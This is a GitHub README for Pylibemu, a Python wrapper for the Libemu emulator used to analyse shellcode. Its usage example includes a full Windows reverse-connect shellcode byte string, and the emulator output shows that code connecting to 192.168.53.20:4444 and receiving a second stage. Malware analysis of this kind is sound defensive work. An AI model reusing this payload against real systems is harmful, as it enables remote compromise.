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A Libemu Cython wrapper
Python
Latest commit 9b14f3d Nov 11, 2015 @buffer Version 0.3.3
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src Version 0.3.3 Nov 11, 2015
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setup.py Version 0.3.3 Nov 11, 2015

README.md

Pylibemu

Pylibemu is a wrapper for the Libemu library (https://github.com/buffer/libemu).

Requirements

  • Python 2.5 or later
  • Libemu

Installation

To install Pylibemu, just execute:

$ sudo pip install pylibemu

or alternatively

$ python setup.py build $ sudo python setup.py install

Usage

buffer@alnitak ~ $ python
Python 2.6.6 (r266:84292, Feb 26 2011, 12:20:05) 
[GCC 4.4.4] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pylibemu
>>> shellcode  = b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d"
>>> shellcode += b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34"
>>> shellcode += b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0"
>>> shellcode += b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9"
>>> shellcode += b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c"
>>> shellcode += b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
>>> shellcode += b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32"
>>> shellcode += b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53"
>>> shellcode += b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02"
>>> shellcode += b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6"
>>> shellcode += b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3"
>>> shellcode += b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50"
>>> shellcode += b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"
>>> emulator = pylibemu.Emulator()
>>> offset = emulator.shellcode_getpc_test(shellcode)
>>> offset
4
>>> emulator.prepare(shellcode, offset)
>>> emulator.test()
0
>>> print emulator.emu_profile_output
HMODULE LoadLibraryA (
    LPCTSTR lpFileName = 0x0012fe90 => 
        = "ws2_32";
) = 0x71a10000;
int WSAStartup (
    WORD wVersionRequested = 2;
    LPWSADATA lpWSAData = 1244272;
) =  0;
SOCKET WSASocket (
    int af = 2;
    int type = 1;
    int protocol = 0;
    LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
    GROUP g = 0;
    DWORD dwFlags = 0;
) =  66;
int connect (
    SOCKET s = 66;
    struct sockaddr_in * name = 0x0012fe88 => 
        struct   = {
            short sin_family = 2;
            unsigned short sin_port = 23569 (port=4444);
            struct in_addr sin_addr = {
            unsigned long s_addr = 339060928 (host=192.168.53.20);
         };
         char sin_zero = "       ";
     };
    int namelen = 16;
) =  0;
int recv (
    SOCKET s = 66;
    char * buf = 0x0012fe88 => 
         none;
    int len = 3072;
    int flags = 0;
) =  3072;

>>> emulator.emu_profile_truncated
False

The new Emulator method 'run' was introduced in Pylibemu 0.1.3 which allows not to worry about details. Moreover the new Emulator attribute `offset' allows to get such information if needed.

>>> emulator = pylibemu.Emulator()
>>> emulator.run(shellcode)
0
>>> emulator.offset
4
>>> print emulator.emu_profile_output
HMODULE LoadLibraryA (
     LPCTSTR = 0x01a3f990 => 
        = "ws2_32";
) =  1906376704;
int WSAStartup (
    WORD wVersionRequested = 2;
    LPWSADATA lpWSAData = 1244272;
) =  0;
SOCKET WSASocket (
    int af = 2;
    int type = 1;
    int protocol = 0;
    LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
    GROUP g = 0;
    DWORD dwFlags = 0;
) =  66;
int connect (
    SOCKET s = 66;
    struct sockaddr_in * name = 0x0012fe88 => 
        struct   = {
            short sin_family = 2;
            unsigned short sin_port = 23569 (port=4444);
            struct in_addr sin_addr = {
            unsigned long s_addr = 339060928 (host=192.168.53.20);
         };
         char sin_zero = "       ";
     };
 int namelen = 16;
) =  0;
int recv (
    SOCKET s = 66;
    char * = 0x01a40870 => 
        none;
    int len = 3072;
    int flags = 0;
) =  3072;

>>> emulator.emu_profile_truncated
False

The Emulator accepts the optional parameter 'output_size' which defines how much memory will be reserved for storing the emulation profile dump. By default, its size is 1MB but it be can changed in two possible ways

>>> emulator = pylibemu.Emulator(1024)

>>> emulator = pylibemu.Emulator()
>>> emulator.set_output_size(1024)

If the reserved memory is not enough to contain the entire dump, the dump will be truncated and the Emulator attribute 'emu_profile_truncated' will be set to True. This approach is needed in order not to penalize performances while analyzing some shellcodes which may produce several MBs dumps (such as the Metasploit windows/download_exec). If the entire dump is needed a really simple approach could be to check the `emu_profile_truncated' attribute after the shellcode emulation test, increase the reserved memory through the Emulator 'set_output_size' method and subsequently run the shellcode emulation test again as shown above.

License information

Copyright (C) 2011-2015 Angelo Dell'Aera buffer@antifork.org

License: GNU General Public License, version 2 or later; see LICENSE.txt included in this archive for details.

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